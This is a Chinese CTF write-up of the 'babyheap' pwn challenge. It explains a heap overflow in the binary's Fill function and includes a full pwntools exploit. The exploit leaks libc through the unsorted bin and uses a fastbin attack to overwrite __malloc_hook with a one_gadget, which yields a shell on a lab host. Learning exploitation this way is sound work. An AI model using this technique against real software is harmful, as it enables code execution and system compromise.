得到一个题目我们首先要查看程序开启的保护:

保护全开,这里我已经替换过程序的libc和ld文件了,具体实现方法是给程序打patch,这里用的是patchelf这个工具,如果题目提供了libc文件,可以用 strings libc.so.6 | grep ubuntu 先查看正确的Ubuntu版本,然后在glibc-all-in-one中下载正确的libc文件,打patch的过程我更推荐用下面的命令:

更换链接器:
patchelf --set-interpreter /home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./babyheap

更换glibc搜索路径:
patchelf --set-rpath /home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64 ./babyheap

想了想,还是尽量详细点把这题讲出来吧,毕竟我也是一个初学者,讲一遍也能帮我加深对heap的理解。

首先我们看一下main函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = sub_B70(a1, a2, a3);
  while ( 1 )
  {
    menu();
    switch ( sub_138C() )
    {
      case 1LL:
        Allocate(v4);
        break;
      case 2LL:
        Fill(v4);
        break;
      case 3LL:
        Free(v4);
        break;
      case 4LL:
        Dump(v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}

循环打印菜单,switch里对sub_138C()读入的数据进行判断,然后分别进入不同的分支。

Allocate函数

void __fastcall Allocate(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i ) //最多创建16个堆
  {
    if ( !*(_DWORD *)(24LL * i + a1) ) //检查in_use是否为1
    {
      printf("Size: ");
      v2 = sub_138C();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL); //使用calloc创建堆,并用0进行填充
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1; //结构体的第一部分,in_use判断这个结构体是否被分配
        *(_QWORD *)(a1 + 24LL * i + 8) = v2; //堆的size
        *(_QWORD *)(a1 + 24LL * i + 16) = v3; //堆的地址,指向data
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}

Fill函数(有堆溢出漏洞)

__int64 __fastcall Fill(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = sub_138C(); //读入size
      v3 = result;
      if ( (int)result > 0 )
      {
        printf("Content: ");
        return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3); //读入v3大小的数据,造成堆溢出
      }
    }
  }
  return result;
}

Free和Dump就是简单的释放堆和打印堆,这里没有uaf漏洞

下面贴一下exp:

from os import execve
from pwn import *
#from LibcSearcher import *

#context(os ="linux",arch= "amd64",log_level = "debug")

#io = process("babyheap")
io = remote("192.168.157.130",9999)
#io.interactive()
def alloc(size):
    io.sendlineafter("Command: ",'1')
    io.sendlineafter("Size: ",str(size))

def fill(index,content):
    io.sendlineafter("Command: ",'2')
    io.sendlineafter("Index: ",str(index))
    io.sendlineafter("Size: ",str(len(content)))
    io.sendlineafter("Content: ",content)

def free(index):
    io.sendlineafter("Command: ",'3')
    io.sendlineafter("Index: ",str(index))

def dump(index):
    io.sendlineafter("Command: ",'4')
    io.sendlineafter("Index: ",str(index))

alloc(0x80)#0
alloc(0x80)#1
alloc(0x80)#2
alloc(0x80)#3
#pause()

# ---------------- leak libc --------------------------------
free(1)
fill(0,b'a'*(0x80+8)+p64(0x120+1))
alloc(0x110) #1
fill(1,b'a'*(0x80+8)+p64(0x90+1))
free(2)

dump(1)
#---------------------- get libc base----------------------
io.recv(0x90+0xa)

# 这样也可以泄露,但是不知道为什么跑不通
# alloc(0x80)#0
# alloc(0x80)#1
# alloc(0x80)#2
# alloc(0x80)#3
# fill(0,b'a'*(0x80+8)+p64(0x120+1))
# free(1)
# alloc(0x80)#1
# dump(2)

main_arena_88_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success("Main_arean_addr:===================>{}".format(hex(main_arena_88_addr)))
malloc_hook_addr = main_arena_88_addr - 88 -0x10
fake_small_bin_addr = malloc_hook_addr - 0x23
#libc = ELF("libc.so")		#与下面的execve_offset相对应
#libc = ELF("/home/always/Libc/libc-2.23.so")
libc_base = malloc_hook_addr - 0x3c4b10
log.success("libc_base_addr :======================>{}".format(hex(libc_base)))
execve_offset = 0x4527a    #通过one_gadget 获得,每个libc都不一样
execve_addr = libc_base + execve_offset
log.success("execve_addr: =============================>{}".format(hex(execve_addr)))
#---------------- get libc base end -------------------------------

#------------------- fast bin attack ----------------------------------------
alloc(0x80) #2
alloc(0x60) #4
alloc(0x60) #5
free(5)
fill(4,b"a"*(0x60 +8) + p64(0x70 + 1)+p64(fake_small_bin_addr))
#pause()
alloc(0x60) #5
alloc(0x60) #6 
fill(6,b"a"*0x13 + p64(execve_addr))
#pause()
alloc(0x1)

io.interactive()

这里的execve_offset是通过one_gadget得到的

本地打不通可能是内核的问题,换用Ubuntu 16.04就好了

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...